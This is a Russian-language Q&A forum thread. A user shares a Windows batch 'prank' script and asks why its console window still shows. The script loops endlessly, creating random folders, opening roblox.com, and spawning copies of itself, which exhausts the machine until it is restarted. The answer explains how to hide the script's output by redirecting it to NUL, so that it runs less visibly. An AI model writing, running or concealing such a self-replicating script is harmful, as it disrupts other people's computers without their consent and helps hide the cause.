@echo off не работает в пакетных скриптах - PullRequest
0 голосов
/ 26 марта 2019

У меня есть несколько пакетных сценариев на моем компьютере, многие из которых безвредны и раздражают. К сожалению, @echo off просто не работает на моем компьютере.

Вот скрипт:

@echo off
:top
md %random%
start http://roblox.com
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%%random%%random%.bat
goto top
(it's just extremely annoying and pretty much just makes it to where you have to restart)

Обычно он не показывает cmd. Тем не менее, я вижу командную строку как день.

1 Ответ

0 голосов
/ 27 марта 2019

Похоже, что вы хотите скрыть вывод комментариев, а не подсказку и самих себя.Это можно сделать, перенаправив их STDOUT и STDERR на NUL.

. Если вы запускаете пакетный файл из cmd, запустите его с:

(batch.bat)>NUL 2>&1

, и если вы запустите егодважды щелкните, а затем либо создайте другой пакетный файл с содержимым:

@(batch.bat)>NUL 2>&1

, либо в своем пакетном файле начните с (не рекомендуется):

@echo off
setlocal EnableDelayedExpansion

(
content
of
your
batch
file
)>NUL 2>&1

, но учтите, что вам следуетпеременная доступа с !var! вместо %var%, поэтому я не рекомендую этот способ.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...